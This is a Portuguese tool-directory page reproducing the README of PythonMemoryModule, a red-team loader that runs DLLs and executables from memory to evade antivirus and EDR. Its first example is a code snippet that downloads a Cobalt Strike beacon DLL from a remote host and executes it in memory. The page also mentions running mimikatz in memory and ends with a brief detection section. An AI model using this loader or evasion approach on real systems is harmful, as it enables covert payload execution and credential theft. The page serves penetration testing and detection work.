Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PythonMemoryModule — implementação puramente em Python da técnica MemoryModule para carregar DLL e EXE não gerenciado inteiramente da memória | Kitploit
Ferramentas/GitHubGitHub/naksyn/pythonmemorymodule
Frameworks de ExploraçãoTestes de PenetraçãoRed Teaming
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

implementação puramente em Python da técnica MemoryModule para carregar DLL e EXE não gerenciado inteiramente da memória

Ver Repositório
34052há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Supported Python versions Twitter

PythonMemoryModule

Implementação pura em Python da técnica MemoryModule para carregar uma dll ou executável não gerenciado inteiramente da memória

immagine
"Python memory module" imagem gerada por IA - hotpot.ai

O que é

PythonMemoryModule é uma adaptação em Python ctypes da técnica MemoryModule originalmente publicada por Joachim Bauch. Ela pode carregar uma dll ou executável não gerenciado usando Python sem exigir o uso de uma biblioteca externa (pyd) e possui suporte (parcial) para passagem de parâmetros de linha de comando.

Utiliza pefile para analisar cabeçalhos PE, PythonForWindows para acessar parâmetros de processo e ctypes para o trabalho pesado. A ferramenta foi originalmente pensada para ser usada como um módulo do Pyramid para fornecer evasão contra AV/EDR carregando payloads dll/exe no python.exe inteiramente da memória, porém outros casos de uso são possíveis (proteção de PI, carregamento de pyds em memória, spin-offs para outras técnicas mais furtivas), então decidi criar um repositório dedicado.

Por que pode ser útil

  1. Basicamente permite usar a técnica MemoryModule inteiramente em linguagem interpretada Python, possibilitando o carregamento de uma dll a partir de um buffer de memória usando o binário python.exe assinado original, sem necessidade de gravar em disco código/bibliotecas externas (como as bindings do pymemorymodule) que podem ser sinalizadas por AV/EDRs ou levantar suspeitas do usuário.
  2. Usar a técnica MemoryModule em loaders de linguagens compiladas exigiria incorporar o código MemoryModule dentro dos próprios loaders. Isso pode ser evitado usando a linguagem interpretada Python e PythonMemoryModule, já que o código pode ser executado dinamicamente e em memória.
  3. Você pode obter algum nível de proteção de Propriedade Intelectual baixando dinamicamente, descriptografando e carregando dlls em memória que devem ser escondidas de olhares curiosos. Lembre-se de que as dlls ainda podem ser recuperadas da memória e engenharia reversa, mas pelo menos exigiria mais esforço do atacante.
  4. Você pode carregar uma dll de payload sem estágio sem realizar injeção ou execução de shellcode. O processo de carregamento imita a API LoadLibrary do Windows (que recebe um caminho no disco como entrada) sem realmente chamá-la e operando em memória.

Como usar

Exemplo n.º 1

No exemplo a seguir, uma dll de beacon sem estágio do Cobalt Strike é baixada (não salva em disco), carregada em memória e iniciada chamando o ponto de entrada.

root@kitploit:~
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Nota: se você usar staging em seu perfil maleável, a dll não conseguirá carregar com LoadLibrary, portanto o MemoryModule não funcionará.

Exemplo n.º 2

No exemplo a seguir, usamos a funcionalidade de passagem de linha de comando para executar o chisel em memória.

https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

Passagem de parâmetros de linha de comando - Suporte parcial

Esta técnica foi implementada sobrescrevendo o parâmetro Commandline no PEB em tempo de execução. Isso não funcionará com todos os executáveis, pois depende de quais funções são usadas para passar argumentos.

Geralmente, para obter uma técnica universalmente funcional, seria necessário hookear GetCommandlineA, GetCommandlineW, __getmainargs e __wgetmainargs, já que a sobrescrita do PEB não cobre todos os casos. Mais detalhes aqui

Durante meus testes, descobri que o mimikatz e vários binários Go funcionam apenas com a sobrescrita do PEB; por outro lado, a passagem de linha de comando via sobrescrita do PEB sozinha para binários compilados com mingw e VS provavelmente não funcionará.

Como detectar

Usar a técnica MemoryModule respeitará, em sua maioria, as permissões das seções da DLL alvo e evitará a abordagem ruidosa RWX. No entanto, dentro da memória do programa, haverá um commit privado não respaldado por uma dll no disco, e isso é um sinal característico do MemoryModule.

Baixar ferramenta